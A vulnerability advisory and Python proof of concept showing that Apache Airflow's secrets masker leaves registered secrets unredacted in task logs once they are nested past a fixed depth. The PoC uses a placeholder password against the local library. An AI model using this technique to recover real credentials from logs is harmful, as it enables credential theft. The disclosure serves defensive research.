Apache Airflow 3.3.2 (mask_secret()) Secrets Masker Deep-Nesting Secret Leak

<html><body><p>#!/usr/bin/env python
#
#
# Apache Airflow 3.3.2 (mask_secret()) Secrets Masker Deep-Nesting Secret Leak
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://airflow.apache.org
# Affected version: 3.3.2
#
# Summary: Apache Airflow is an open-source platform for developing,
# scheduling, and monitoring workflows, such as traditional time based
# or event-triggered batch-oriented data pipelines, machine learning,
# model training, and agentic or LLM-based workloads. Airflow's extensible
# Python framework enables you to build workflows connecting with virtually
# any technology, with a growing set of providers for orchestrating AI
# and agentic tools alongside the rest of your pipeline. A web-based UI
# helps you visualize, manage, and debug your workflows. You can run Airflow
# in a variety of configurations - from a single process on your laptop
# to a distributed system capable of handling massive workloads.
#
# Desc: Apache Airflow suffers from a sensitive information disclosure
# vulnerability caused by an incomplete secret-masking routine. In the
# secrets masker, container structures are walked without a depth limit
# for key-name redaction, but pattern-based masking of registered secrets
# is applied only to string values at or below a fixed recursion depth
# (MAX_RECURSION_DEPTH): beyond that depth the scalar is returned as-is,
# before the secret-replacement step runs. As a result, a configured secret
# that appears as a string value nested under non-sensitive keys several
# container levels deep is not redacted and is emitted in clear text to
# task logs. An operator, or anyone with log access, can recover credentials
# that were expected to be masked.
#
# ========================================================================
#     depth 0: masked (***)
#     ...
#     depth 5: masked (***)
#     depth 6: LEAK (cleartext)
#     ...
# [+] depth-6 result (as stored/shown in Rendered Templates / task logs):
#     {'op_kwargs': {'a': {'b': {'c': {'d': {'e': {'l6': 'S3cr3t-Pa55word-y0'}}}}}}}
# [+] LEAK CONFIRMED - mask_secret() value returned in cleartext past depth 5.
# ========================================================================
#
# Tested on: GNU/Linux x86_64
#            Python 3.10+
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6018
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6018
#
#
# 13.08.2026
#


r"""
This PoC imports the REAL SecretsMasker from the installed apache-airflow
and reproduces the leak at the library level (no running Airflow, no DAG
needed). Requires: pip install apache-airflow (&gt;= 3.x).
"""

import importlib, sys

SECRET = "S3cr3t-Pa55word-y0"

CANDIDATES = [
    "airflow.sdk.execution_time.secrets_masker",
    "airflow._shared.secrets_masker",
    "airflow.sdk._shared.secrets_masker",
    "airflow_shared.secrets_masker",
    "airflow.utils.log.secrets_masker",
]

mod = None
for name in CANDIDATES:
    try:
        m = importlib.import_module(name)
    except Exception:
        continue
    if hasattr(m, "redact") and (hasattr(m, "mask_secret") or hasattr(m, "SecretsMasker")):
        mod = m
        print(f"[*] using the real Airflow masker: {name}")
        break
if mod is None:
    sys.exit("[!] Airflow SecretsMasker not importable. Install it: pip install apache-airflow")

if hasattr(mod, "mask_secret"):
    mod.mask_secret(SECRET)
    redact = mod.redact
else:
    sm = mod.SecretsMasker()
    sf = getattr(mod, "DEFAULT_SENSITIVE_FIELDS", None)
    if sf is not None:
        try: sm.sensitive_variables_fields = list(sf)
        except Exception: pass
    for attr, val in (("hide_sensitive_var_conn_fields", True), ("min_length_to_mask", 5)):
        try: setattr(sm, attr, val)
        except Exception: pass
    sm.add_mask(SECRET) # mask_secret(SECRET)
    redact = sm.redact

def nest(depth, leaf):
    n = leaf
    for i in range(depth):
        n = {f"level{depth - i}": n}
    return n

print(f"[*] registered secret via mask_secret(): {SECRET!r}")
print("[*] redacting it under the NON-sensitive field 'op_kwargs' at increasing nesting depth:\n")
for d in range(0, 9):
    out = redact(nest(d, SECRET), "op_kwargs")
    print(f"    depth {d}: {'LEAK (cleartext)' if SECRET in repr(out) else 'masked (***)'}")

deep = {"op_kwargs": {"a": {"b": {"c": {"d": {"e": {"l6": SECRET}}}}}}}
out = redact(deep, "op_kwargs")
print("\n[+] depth-6 result (as stored/shown in Rendered Templates / task logs):")
print("    " + repr(out))
print("\n[+] LEAK CONFIRMED - mask_secret() value returned in cleartext past depth 5."
      if SECRET in repr(out) else "\n[-] not reproduced on this build.")
</p></body></html>